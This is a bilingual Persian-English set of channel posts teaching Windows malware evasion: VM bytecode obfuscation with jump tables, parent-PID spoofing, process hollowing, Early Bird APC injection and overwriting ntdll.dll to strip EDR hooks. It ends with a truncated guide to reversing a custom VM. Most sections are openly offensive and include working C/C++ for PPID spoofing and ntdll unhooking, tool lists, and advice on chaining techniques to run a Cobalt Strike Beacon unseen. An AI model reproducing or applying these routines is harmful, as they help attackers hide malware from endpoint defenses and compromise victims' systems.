🌀 اجرای دستورها با Jump Table

> اجرای غیرمستقیم دستورها برای مخفی کردن منطق اصلی و سخت‌تر کردن مهندسی معکوس





🎯 چرا Jump Table؟

در روش‌های قبلی از switch-case یا if-else مستقیم استفاده می‌کردیم این ساختارها توی دیاسمبلر خیلی راحت شناسایی میشن و تحلیل bytecode آسونه

اما با Jump Table ما به جای اینکه مستقیماً بگیم دستور بعدی چیه از یک جدول آدرس استفاده می‌کنیم که بر اساس opcode به تابع مربوط به اون دستور پرش کنه این باعث میشه مسیر اجرای برنامه غیرشفاف بشه




🔍 تفاوت ساده با پیچیده:

قبل:

switch(opcode) {
case 0x01: push(...); break;
case 0x02: add(...); break;
}

حالا:

void (*jump_table[256])();

jump_table[0x01] = handle_push;
jump_table[0x02] = handle_add;
...
jump_table[opcode]();



🧪 پیاده‌سازی عملی:

1 تعریف jump table:

void handle_push() {
push(bytecode[pc++]);
}

void handle_add() {
int b = pop();
int a = pop();
push(a + b);
}


void handle_print() {
printf("Result: %d\n", pop());
}

void handle_fake() {
// nop
}

2 مقداردهی جدول:

void (*jump_table[256])();

void init_jump_table() {
for (int i = 0; i < 256; i++) jump_table[i] = handle_fake;

jump_table[0x01] = handle_push;
jump_table[0x02] = handle_add;
jump_table[0x03] = handle_print;
}

3 اجرای bytecode:

void run_vm() {
while (pc < bytecode_length) {
unsigned char opcode = bytecode[pc++];
jump_table[opcode]();
}
}

🎯 چرا این روش Obfuscated حساب میشه؟


ابزارهایی مثل Ghidra یا IDA به راحتی نمی‌تونن مسیر اجرای دستورات رو بفهمن

تحلیل‌گر باید دنبال جدول بگرده و بفهمه کدوم opcode به کدوم تابع میره

اگر این jump table در زمان اجرا ساخته بشه (مثلاً با رمزگشایی یا رمزگذاری دینامیک) کار حتی سخت‌تر هم میشه

🌀 Executing Instructions via Jump Table

→ Indirect Execution to Hide Logic & Obfuscate Reverse Engineering




🎯 Why Use a Jump Table?

In typical virtual machines or interpreters, you'd use a simple switch-case or if-else chain to handle opcodes.
But these control structures are very easy to analyze in disassemblers — tools like IDA or Ghidra detect them and decompile them cleanly.

👉 With a Jump Table, instead of directly stating which instruction to execute, you use a function pointer array indexed by opcode.
The program "jumps" to the function handling that instruction.

This breaks the control flow and makes the execution path much harder to follow.




🔍 Comparison: Straightforward vs Obfuscated

Before (simple):

switch(opcode) {
case 0x01: push(...); break;
case 0x02: add(...); break;
}

Now (obfuscated):

void (*jump_table[256])();
jump_table[0x01] = handle_push;
jump_table[0x02] = handle_add;
...
jump_table[opcode]();

🧪 Practical Implementation

1 Define Handlers:

void handle_push() {
push(bytecode[pc++]);
}

void handle_add() {
int b = pop();
int a = pop();
push(a + b);
}

void handle_print() {
printf("Result: %d\n", pop());
}

void handle_fake() {
// NOP or bogus instruction
}

2 Initialize Jump Table:

void (*jump_table[256])();

void init_jump_table() {
for (int i = 0; i < 256; i++)
jump_table[i] = handle_fake;

jump_table[0x01] = handle_push;
jump_table[0x02] = handle_add;
jump_table[0x03] = handle_print;
}

3 Execute Bytecode:

void run_vm() {
while (pc < bytecode_length) {
unsigned char opcode = bytecode[pc++];
jump_table[opcode]();
}
}

🎯 Why Is This Considered Obfuscation?

💣 Reverse engineering tools like IDA, Ghidra, Radare2 struggle to reconstruct clean control flow when jump tables are involved.
The control logic is not linear, so the analyst needs to:

Find the table

Understand its structure

Resolve what opcode maps to which handler


🧬 If you generate the jump table at runtime, or even encrypt/decrypt it dynamically, the complexity increases dramatically.
This technique is commonly used in VM-based obfuscation, malware loaders, and custom packers

🎭 Parent PID Spoofing – «بابام پلیسه!» 🤡


📎"وقتی بدافزارت ادای PowerShell در میاره، ولی تهش خودشه..."




🎯 این تکنیک چیه؟

تو این روش، به جای اینکه یه پردازش بد ایجاد کنی و امیدوار باشی که کسی متوجهش نشه،
میای یه پردازش کاملاً قلابی می‌سازی، ولی یه نکته مهم داره:

📌 می‌گی بابای من یه برنامه‌ی قانونیه!
مثلاً بدافزارت میگه: منو explorer.exe اجرا کرده، یا svchost.exe، نه یه چیز مشکوک.




🧠 چرا این مهمه؟

ابزارهایی مثل Sysmon و اغلب EDRها، یه فاکتور خیلی مهم برای تشخیص بدافزار دارن:
کی این پردازش رو ساخته؟

📊 Parent PID یعنی شناسه پردازش پدر
اگه notepad.exe رو یه چیزی مثل calc.exe ساخته باشه مشکوکه

ولی اگه بدافزارت جعل کنه که پدرش explorer.exe بوده؟ خیلی تمیز رد میشه.




⚒️ چجوری اجراش کنیم؟

برای اینکار باید از تابع CreateProcess استفاده کنیم ولی با یه ترفند:


1 اول پروسس پدر مورد نظر (مثلا explorer.exe) رو پیدا کن


2 یه STARTUPINFOEX بساز با ساختار PROC_THREAD_ATTRIBUTE_PARENT_PROCESS


3 توی CreateProcess، اون Parent رو دستی ست کن



کد C++ شبه:

STARTUPINFOEX siex = { sizeof(siex) };
InitializeProcThreadAttributeList(...);
UpdateProcThreadAttribute(..., PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, ...);
CreateProcess(..., &siex, ...);

📌 بعضی ابزارهای آماده مثل PPID Spoof by @3xpl01t هم هستن که اینکارو راحت‌تر می‌کنن.




🎯 استفاده حرفه‌ای؟

ترکیبش کن با:

Process Hollowing

Shinjecting

رمزنگاری شل‌کد


و یه بدافزار بساز که هم پنهانه، هم قابل قبول از دید EDR




🧪 تشخیص؟ خیلی سخته!

ولی:

چک کردن parent-child chains با ابزارهایی مثل Process Explorer

بررسی inconsistency توی Creation Time

رفتارشناسی: مثلا explorer.exe نباید rundll32.exe رو بسازه!





🧠 جمع‌بندی:

Parent PID Spoofing = جعل پدر برای رد شدن از سیستم‌های تحلیل رفتاری

🔐 این تکنیک خیلی تمیز، بدون نیاز به injection مستقیم، ولی به شدت مؤثره.
مخصوصاً وقتی می‌خوای در دل سیستم باشی ولی تو لاگ دیده نشی




🎭 Parent PID Spoofing – “My dad’s a police!” 🤡📎

“When your malware pretends it was launched by PowerShell, but it’s really just… itself.”




🎯 What Is This Technique?

Instead of launching a shady process and hoping nobody notices, this technique lets you create a fake, clean-looking process —
but with one crucial trick:

📌 You claim your parent is a trusted, legitimate process.

Your malware says:
“Explorer.exe launched me!”
or
“I was born from svchost.exe, not anything suspicious!”




🧠 Why Does It Matter?

Tools like Sysmon and most EDRs use a key behavior to detect threats:

👉 Who spawned the process?

This is the Parent PID (PPID).

📊 Example:

calc.exe spawned by notepad.exe? 🚩 Suspicious

Malware spoofed to look like it was spawned by explorer.exe? ✅ Looks clean





⚒️ How Do You Perform PPID Spoofing?

You need to use the CreateProcess API — but with a trick:

1 🔍 First, locate the process handle of the parent you want (e.g. explorer.exe)


2 🛠️ Build a STARTUPINFOEX structure with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS


3 📎 Use CreateProcess with that attribute to spoof the parent






🧪 Example (C++-like):

STARTUPINFOEX siex = { sizeof(siex) };
InitializeProcThreadAttributeList(...);
UpdateProcThreadAttribute(..., PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, ...);
CreateProcess(..., &siex, ...);

📌 Bonus: Tools like PPID Spoof by @3xpl01t automate this process.




🎯 Advanced Usage?

Combine PPID spoofing with:

Process Hollowing

Shellcode Injection

Encrypted payloads


→ Create malware that’s invisible and believable to the EDR.




🧪 Detection? Still Hard

It’s tricky, but here are a few methods:

🧬 Trace parent-child process chains using tools like Process Explorer

⏱️ Check for timestamp inconsistencies

🤖 Behavior monitoring: e.g., explorer.exe shouldn’t be spawning rundll32.exe!





🧠 Summary:

Parent PID Spoofing = Faking your parent to bypass behavioral analysis systems.

🔐 Clean, no direct injection required, and very effective —
especially when you want to live inside the system but stay invisible in logs

? PPID Spoofing+ Process Hollowing

«وقتی قراره یه Payload رو توی لباس یه برنامه بی‌گناه اجرا کنی!» 🎭💉




🎯 PPID Spoofing یعنی چی؟

PPID (Parent Process ID) یعنی آیدی پروسه‌ای که پروسه‌ی جدید از دلش زاییده شده.

🧠 آنتی‌ویروس‌ها و EDRها از این استفاده می‌کنن که بفهمن:

چه کسی کیو اجرا کرده؟

آیا مثلاً notepad.exe واقعاً توسط Explorer اجرا شده؟

یا یه ابزار مشکوک با شبیه‌سازی اون رو اجرا کرده؟





🕵️ هدف PPID Spoofing

ما می‌خوایم مثلاً یه backdoor مثل evil.exe بسازیم که به‌جای اینکه مستقیم اجرا شه، با PPID پدر بی‌گناه مثل Explorer اجرا شه

✅ این کار:

شک EDR رو کم می‌کنه

گراف Process Tree تمیز می‌مونه

باعث می‌شه ابزارهایی مثل Sysmon/EDR کمتر هشدار بدن





💉 Process Hollowing چیه؟

تو این تکنیک:

1 یه پروسه بی‌گناه مثل notepad.exe یا svchost.exe میسازی (suspended)


2 حافظه‌شو پاک می‌کنی (Unmap Section)


3 Shellcode یا فایل اجرایی خودتو inject می‌کنی


4 پروسه رو Resume می‌کنی



🎭 در ظاهر: یه نوت‌پد در حال اجراست
🧠 در واقع: بدافزار توش داره کار می‌کنه




🔧 PPID Spoofing در C++

STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(si);

// Parent handle
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPID);

// Attribute list
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);

// ایجاد پروسه Suspended
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, NULL, NULL, &si.StartupInfo, &pi);

🔬 حالا Hollowing کن:

// بخش‌های PE خودتو لود کن
// VirtualAllocEx → WriteProcessMemory → SetThreadContext → ResumeThread

// معمولا از Shellcode یا Loader استفاده می‌شه (مثلاً Meterpreter, Cobalt Strike Beacon)





🧪 ابزارهای آماده برای این کار:

ابزار توضیح

PPIDSpoof ساختن پروسه جدید با پدر جعلی

donut + hollowing اجرای فایل PE تو حافظه

Kraken / Tartarus Loader کامل با PPID Spoof + Hollowing

PEzor / ScareCrow ابزارهای AV/EDR Bypass با ساختارهای حرفه‌ای





🛡️ روش‌های مقابله با شناسایی EDR:

تکنیک کاربرد

🧠 انتخاب درست Parent (explorer.exe) شک برانگیز نیست
🔄 Thread Stack Spoof جعل Call Stack برای جلوگیری از تحلیل EDR

🔬 حذف Indicators مثل پاک‌کردن رشته‌های مشکوک از PE
⏳ اجرای تاخیری (sleep) جلوگیری از تشخیص رفتار سریع





📥 جمعبندی: ترکیب مرگبار stealth

PPID Spoof + Hollowing + DirectSyscall + AMSI Bypass + Unhook ntdll

→ یعنی آنتی‌ویروس فقط یه notepad.exe می‌بینه، ولی توش یه Cobalt Strike Beacon در حال کاره! 😈




🎭💉 PPID Spoofing + Process Hollowing

“When you run your payload disguised as an innocent process.”




🎯 What’s PPID Spoofing?

PPID (Parent Process ID) = The process ID of the parent that spawned a new process.

🧠 EDRs and AVs track who launched what.
For example:
Did notepad.exe really come from explorer.exe?
Or did a sketchy loader fake it?




🕵️ Goal of PPID Spoofing:

We want to launch something like evil.exe but make it look like it was spawned by a clean process — like explorer.exe.

✅ Benefits:

Avoids EDR suspicion

Keeps the process tree clean

Tools like Sysmon or Defender don’t raise alerts





💉 What’s Process Hollowing?

A technique where:

1 You create a legit process (e.g., notepad.exe) in suspended mode


2 Wipe its memory (UnmapViewOfSection)


3 Inject your own shellcode or PE


4 Resume the process



🎭 On the surface: it’s just a Notepad
🧠 In reality: it’s your malware running inside




🔧 PPID Spoofing in C++

STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(si);

// Open parent (e.g., explorer.exe)
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPID);

// Init attribute list
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
UpdateProcThreadAttribute(
si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE),
NULL, NULL
);

// Create suspended process
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
NULL, NULL, &si.StartupInfo, &pi
);

🔬 Now Perform Hollowing:

Load your PE into memory

Use VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread

Usually inject a loader or shellcode (e.g., Meterpreter, Beacon)





🧪 Tools You Can Use:

Tool Purpose

PPIDSpoof Create new processes with spoofed parents
donut + hollowing Load PE in-memory
Kraken / Tartarus Full-featured loaders with PPID spoof + hollowing
PEzor / ScareCrow Advanced AV/EDR evasion loaders





🛡️ EDR Evasion Tips:

Technique Use

🧠 Smart Parent Choice (explorer.exe) Looks legit
🔄 Thread Stack Spoofing Fake call stacks to confuse EDR
🔬 Remove Indicators Strip suspicious strings from PE
⏳ Sleep Delays Avoid fast behavioral detection





📥 TL;DR – The Stealth Combo:

> PPID Spoof + Hollowing + Direct Syscalls + AMSI Bypass + Unhook ntdll



✅ To the AV: it’s just notepad.exe
😈 In reality: it’s running a Cobalt Strike Beacon inside

I would be happy to see your positive energy under this post, and if you like, share it so that we can get through any difficult situation together

خوشحال‌میشم انرژی مثبتاتون رو زیر این پست ببینم و اگه دوست داشتید به اشتراک بگذارید تا باهم از هراتفاقی قوی گذر کنیم:

https://www.instagram.com/reel/DMdcR2TCC9G/?igsh=MXB5bmI3bG9mYXE4Ng==

ترکیب همه تکنیک‌ها برای ساخت یک VM Obfuscator واقعی

> ساخت یک "Mini-VMProtect" با رمزنگاری، Fake Opcode، اجرای غیرمستقیم، و ضد مهندسی معکوس






🎯 هدف:

پیاده‌سازی یک سیستم حفاظت شبه-واقعی که منطق اصلی برنامه رو به جای زبان اسمبلی، در bytecode خودمون اجرا می‌کنه و این bytecode:

Fake opcode داره

رمز شده‌ست

اجراش غیرمستقیمه (با jump table)

در حافظه قرار می‌گیره (نه روی دیسک)

کد اجرای VM هم می‌تونه مخفی یا Obfuscate بشه





🛠 اجزای پروژه نهایی:

بخش توضیح

Bytecode رمز شده با الگوریتمی مثل XOR یا AES رمزگذاری شده
Fake Instruction اپکدهای جعلی بین کدها برای گمراه کردن دیاسمبلر

Jump Table Execution اجرای دستورات از طریق آدرس‌دهی غیرمستقیم

Dynamic Decryption
کد bytecode هنگام اجرا رمزگشایی میشه و از حافظه اجرا میشه

Inline VM Execution کد VM داخل فایل نهایی embed شده ولی ساختار مشخصی نداره (ضد دیباگ)





🧠 ساختار کلی پروژه

+----------------------------------+
| EXE اصلی |
| +----------------------------+ |
| | ماشین مجازی مخفی (VM) | |
| | + رمزگشایی bytecode | |
| | + اجرای دستورها | |
| +----------------------------+ |
| + Bytecode رمز شده با Fake | |
+----------------------------------+




💻 سورس‌کد نهایی (اسکلت ساده)

void run_vm() {
decrypt_bytecode();
init_jump_table();
while (pc < bytecode_len) {
unsigned char opcode = bytecode[pc++];
jump_table[opcode]();
}
}

کد کامل در پست‌های بعدی می‌تونه قرار بگیره یا به‌صورت سورس در GitHub یا کانال




🔥 نتیجه نهایی:

فایلی خواهی داشت که:

نه با IDA چیزی مشخص می‌شه

نه با دیباگر راحت قابل فهمه

و نه با Hex Editor منطق برنامه پیدا می‌شه


تنها راه تحلیل: دیباگ زنده و بازسازی ماشین مجازی خط به خط



🧠 Combining All Techniques to Build a Real VM Obfuscator

> Creating a "Mini-VMProtect" using encryption, fake opcodes, indirect execution, and anti-reverse engineering.






🎯 Goal:

Implement a realistic custom protection system that runs the core logic of your program not as native assembly, but in your own custom bytecode VM.

This bytecode is:

Encrypted (e.g., XOR or AES)

Contains fake opcodes to mislead disassemblers

Executed indirectly via jump tables

Stored and executed from memory, not the disk

The VM itself is obfuscated, inline, and potentially anti-debug





🛠 Final Project Components:

Component Denoscription

Encrypted Bytecode Encoded using XOR, AES, or similar
Fake Instructions Random junk opcodes injected to confuse analysts
Jump Table Execution Uses indirect addressing (e.g., jump_table[opcode]()) to execute logic
Dynamic Decryption Bytecode is decrypted at runtime and executed directly from memory
Inline VM Execution The VM code is embedded in the EXE, but disguised and obfuscated





🧠 Overall Architecture

+----------------------------------+
| Main EXE |
| +----------------------------+ |
| | Hidden VM Engine | |
| | + Decrypt Bytecode | |
| | + Execute Instructions | |
| +----------------------------+ |
| + Encrypted Bytecode w/ Fakes |
+----------------------------------+




💻 Minimal Skeleton Code (C-like):

void run_vm() {
decrypt_bytecode();
init_jump_table();
while (pc < bytecode_len) {
unsigned char opcode = bytecode[pc++];
jump_table[opcode]();
}
}

> Full source code can be shared in future posts, or uploaded to GitHub/your channel.






🔥 Final Outcome:

You’ll have a binary that:

✅ Reveals nothing useful in IDA
✅ Is a pain to analyze in debuggers
✅ Hides real logic even in hex editors

💥 Only way to reverse it? Live debugging and step-by-step VM reconstruction

– حمله زودتر از خودِ قربانی!

"وقتی هنوز چشم قربانی باز نشده، بدافزار شروع کرده..."




🧠 این تکنیک دقیقا چیه؟

تو خیلی از روش‌های injection، باید صبر کنی تا پردازش target اجرا بشه، بعد شل‌کد بریزی توش.
ولی اینجا؟
📌 بدافزار قبل از اینکه خودِ پروسس کارشو شروع کنه، می‌پره توش و تزریق می‌کنه!

به این می‌گن Early Bird – یعنی "مرغ سحرخیز"، چون زودتر از هر چیزی inject می‌کنه 😏




🔥 چرا خفن و خطرناکه؟

چون اکثر EDRها روی توابع مشهوری مثل CreateRemoteThread یا VirtualAllocEx وایسادن

این تکنیک قبل از شروع واقعی پردازش قربانی کار رو تموم می‌کنه

لاگ نمیذاره رد پا کمه و behavior analysis بهش گیر نمیده چون هنوز هیچی اتفاق نیفتاده!





⚒️ چطور انجامش بدیم؟

1 یه پروسس suspended (معلق) ایجاد کن (با CREATE_SUSPENDED)


2 با VirtualAllocEx شل‌کد بریز توش


3 با QueueUserAPC یه تابع تزریق کن


4 بعد با ResumeThread اجرای اصلی رو شروع کن… اما اجرای تو از همه جلوتره!



HANDLE hThread = CreateProcess(..., CREATE_SUSPENDED);
QueueUserAPC((PAPCFUNC)Shellcode, hThread, NULL);
ResumeThread(hThread);

⛓️ اینجوری قبل از اینکه process کار خودشو شروع کنه، شل‌کدت رو اجرا می‌کنه!




🔍 تشخیصش ممکنه؟

💣 خیلی سخته، ولی:

بعضی ابزارهای سنگین مثل CrowdStrike یا SentinelOne با رفتار حافظه شاید بگیرنش

با بررسی APC Queue توی Thread objects توی حافظه (مثلاً با Volatility) شاید ردش پیدا شه





☠️ ترکیب با چی خفن‌تر می‌شه؟

PPID Spoofing → بگی بابام explorer.exe بوده

Signed Binary Proxy Execution → کدت رو از دل برنامه قانونی اجرا کنی

Shellcode encryption + Sleep Skipping → رد از behavior analysis هم فرار می‌کنی 😈





🧠 جمع‌بندی:

> Early Bird Injection = حمله قبل از تولد هدف!
یه روش بی‌صدا، بی‌ردپا و سریع که می‌تونه شل‌کدتو بی‌دردسر بچسبونه به پردازش‌های معتبر


🐦 Early Bird Injection

> “Attack before the victim even opens their eyes!”
While the target is still sleeping, the malware is already running...






🧠 What’s This Technique?

In most code injection techniques, you have to wait until the target process starts up, and then inject your shellcode.

But with Early Bird Injection?

📌 You inject before the process even begins execution.
The malware sneaks in during the suspended state—before the process’s entry point ever runs.

That’s why it’s called “Early Bird” — because it injects before anything else gets a chance to run. 😏




🔥 Why Is It So Powerful?

Because most EDRs are waiting for typical API calls like:

CreateRemoteThread

VirtualAllocEx

WriteProcessMemory


But here:

✅ The injection happens before the target process starts running
✅ No logs, minimal artifacts, no behavior to detect yet
✅ No alerts from behavior-based monitoring — nothing has happened yet




⚒️ How To Do It

1 Create the target process in a suspended state (CREATE_SUSPENDED)


2 Inject shellcode using VirtualAllocEx + WriteProcessMemory


3 Queue your shellcode via QueueUserAPC


4 Resume the main thread — and your shellcode executes before the target’s own code



HANDLE hThread = CreateProcess(..., CREATE_SUSPENDED);
QueueUserAPC((PAPCFUNC)Shellcode, hThread, NULL);
ResumeThread(hThread);

✅ This way, your code runs first, before the process even reaches its real entry point.




🔍 Can It Be Detected?

💣 Detection is very difficult, but not impossible:

Advanced EDRs like CrowdStrike or SentinelOne may catch it via memory behavior analysis

Memory forensics tools like Volatility can inspect APC queues in thread objects

Still, most defenses miss it if it’s well implemented





☠️ Even Deadlier When Combined With:

Technique Benefit

PPID Spoofing Makes it look like a legitimate parent (e.g., explorer.exe)
Signed Binary Proxy Execution Launches your malicious code via a trusted, signed binary
Shellcode Encryption + Sleep Skipping Avoids detection from behavior analysis or sandboxing





🧠 Summary:

> Early Bird Injection = Attack before the target is even born!



A stealthy, silent, fast technique that lets your shellcode hijack legitimate processes before they even realize what’s happening. 🐦💥

کردن ntdll.dll از حافظه

«وقتی می‌خوای چشمای EDR رو کور کنی 👁️❌»




📌 قضیه چیه؟

تقریباً همه‌ی EDRها روی توابع حساس داخل ntdll.dll هوک (Hook) می‌ذارن.

وقتی تابعی مثل NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx صدا زده می‌شه، EDR داخلش intercept می‌کنه و رفتار رو log یا block میکنه

حتی اگه مستقیم از ntdll استفاده نکنی، اگه نسخه داخل حافظه Hook شده باشه، ممکنه کدت به جای رفتار واقعی، وارد تله‌ی EDR بشه.





💡 راه‌حل: برگردوندن ntdll.dll به حالت پاک (Clean)

روش رایج: Reload ntdll.dll from disk → overwrite memory




🧬 مراحل کلی:

1 فایل ntdll.dll رو مستقیم از روی دیسک بخون


2 بخش .text (کد اجرایی) رو از اون بردار


3 روی .text موجود در حافظه‌ی پروسه overwrite کن


4. تموم! هوک‌ها پودر شدن 😎






🔧 پیاده‌سازی در C/C++:

// ntdll در دیسک
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID dllImage = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);

// آدرس ntdll داخل حافظه خودمون
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

// پیدا کردن offset بخش .text
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllImage;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)dllImage + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);

for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sec[i].Name, ".text", 5) == 0) {
// اجازه نوشتن بده
DWORD oldProtect;
VirtualProtect((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), sec[i].Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);

// بازنویسی بخش .text با نسخه پاک
memcpy((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), (BYTE*)dllImage + sec[i].PointerToRawData, sec[i].SizeOfRawData);

// برگردوندن مجوز
VirtualProtect((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), sec[i].Misc.VirtualSize, oldProtect, &oldProtect);
break;
}
}

🔐 نتیجه:

ntdll.dll تو حافظه به حالت اولیه برمی‌گرده

همه‌ی هوک‌های inline EDR از بین می‌رن

حالا Direct Syscall و حتی API معمولی بدون دیده شدن اجرا می‌شن





⚠️ هشدار امنیتی:

مورد توضیح

🔎 بعضی EDRها حافظه‌ی ntdll رو هش می‌کنن → هر تغییری رو detect می‌کنن
🧠 پس بهتره Direct Syscall رو همزمان با این استفاده کنی
✅ Kraken و ScareCrow این کار رو کاملاً اتومات انجام میدن





📦 ابزارهای آماده:

ابزار قابلیت

FreshyCalls بارگزاری نسخه پاک ntdll و اجرای مستقیم
HalosGate پیدا کردن توابع syscall حتی با هوک شدن کامل
Ekko / Kraken Stage Loader با Unhook داخلی





✅ جمعبندی:

تکنیک کاربرد

Unhook ntdll پاک‌سازی Hookهای EDR
Direct Syscall فرار از آنتی‌ویروس بدون ردپا
ترکیب اینا اجرای Shellcode بی‌صدا حتی در Defender + CrowdStrike + SentinelOne



👁️❌ Unhooking ntdll.dll from Memory

> “When you want to blind the EDR…”






📌 What's the Idea?

Almost every EDR hooks sensitive functions inside ntdll.dll.

Whenever you call functions like:

NtAllocateVirtualMemory

NtWriteVirtualMemory

NtCreateThreadEx


...the EDR intercepts them, logs them, or blocks execution.

Even if you don’t call ntdll directly, if the in-memory version is hooked, your code might walk straight into an EDR trap.




💡 The Fix: Restore a Clean Copy of ntdll.dll

The most common method:
Reload ntdll.dll from disk → Overwrite the in-memory .text section




🧬 Steps Overview:

1Read ntdll.dll directly from disk


2 Extract the .text section from it


3 Overwrite the .text section of the loaded in-memory ntdll.dll


4 Done — all inline hooks are gone 😎






🔧 C/C++ Example:

// Load ntdll.dll from disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID dllImage = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);

// Get loaded ntdll.dll in memory
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

// Locate .text section
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllImage;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)dllImage + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);

for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sec[i].Name, ".text", 5) == 0) {
DWORD oldProtect;
VirtualProtect((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), sec[i].Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), (BYTE*)dllImage + sec[i].PointerToRawData, sec[i].SizeOfRawData);
VirtualProtect((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), sec[i].Misc.VirtualSize, oldProtect, &oldProtect);
break;
}
}

🔐 Result:

✅ ntdll.dll in memory is restored to its original clean state
✅ All inline EDR hooks are erased
✅ Now both Direct Syscalls and even normal APIs can run without being seen




⚠️ Security Notes:

Risk Detail

🔎 Some EDRs hash ntdll.dll in memory Any change may trigger an alert
🧠 Better to combine with Direct Syscalls Avoids detection even if hashes are checked
✅ Tools like Kraken & ScareCrow automate this entirely They combine unhooking + stealth syscall execution





📦 Useful Tools:

Tool Capability

FreshyCalls Loads a clean ntdll.dll and makes direct syscalls
HalosGate Finds syscall numbers even if hooks are present
Ekko / Kraken Stage loaders with internal unhooking logic





✅ Summary:

Technique Purpose

Unhooking ntdll.dll Remove inline EDR hooks
Direct Syscall Avoid antivirus and behavioral detection
Both Combined Silent shellcode execution — even against Defender, CrowdStrike, and SentinelOne

تحلیل و مهندسی معکوس VM ساخت خودمون

> بررسی ساختار، پیدا کردن bytecode، شناسایی Jump Table، و در نهایت بازسازی منطق برنامه!






🎯 هدف:

آموزش گام‌به‌گام نحوه ریورس کردن یه برنامه محافظت‌شده با VM (حتی همون Mini-VMProtectی که خودت ساختی) — دقیقاً مشابه چیزی که توی محافظ‌هایی مثل VMProtect و Code Virtualizer اتفاق می‌افته




🧩 ساختار فایل نهایی که باید ریورس بشه:

باینری اصلی (یک EXE یا ELF)

شامل بخش رمز شده (bytecode) در قالب یک آرایه یا بلاک حافظه

یک ماشین مجازی که:

bytecode رو رمزگشایی می‌کنه

با استفاده از jump table دستورها رو اجرا می‌کنه

اپکدهای تقلبی و واقعی قاطی شدن






🔍 مراحل ریورس:

🥷 1 پیدا کردن نقطه ورود (Entry Point)

با استفاده از ابزارهایی مثل IDA Pro, Ghidra, یا x64dbg

گاهی تابع اصلی با توابع نرمال فرق داره چون با VirtualAlloc, memcpy, CreateThread, یا jmp به VM میپره





🧠 2 شناسایی رمزگشایی bytecode

دنبال تابعی بگرد که روی آرایه‌ای از داده‌ها XOR AES یا حتی عملیات ساده انجام میده

معمولاً بعدش یه حلقه با jmp به offsetهای دینامیک دیده میشن





🧰 3 پیدا کردن Jump Table

دنبال آرایه‌ای از آدرس‌ها بگرد که به توابع مختلف اشاره میکنن

معمولا با ساختار jump_table[opcode]() یا call eax یا jmp [reg + offset] پیاده می‌شن.





🧪 4 آنالیز هر دستور مجازی

برای هر opcode، باید تابع مربوط بهش رو بررسی کنی و بفهمی چه کاری انجام می‌ده (مثلاً جمع، پرینت، push)

در جدول‌ت مثل زیر بنویس:

opcode عملیات

0x01 push عدد
0x02 جمع دو عدد
0x03 چاپ مقدار

📜 5 بازسازی برنامه اصلی

وقتی تمام opcodeها رو فهمیدی، bytecode رمزگشایی‌شده رو بررسی می‌کنی و اون رو به منطق اصلی تبدیل میکنی:


مثلا:

Bytecode: [0x01, 0x10, 0x01, 0x20, 0x02, 0x03]

میشه:

push(0x10);
push(0x20);
add();
pri

🔬 Reverse Engineering a Custom Virtual Machine (VM)

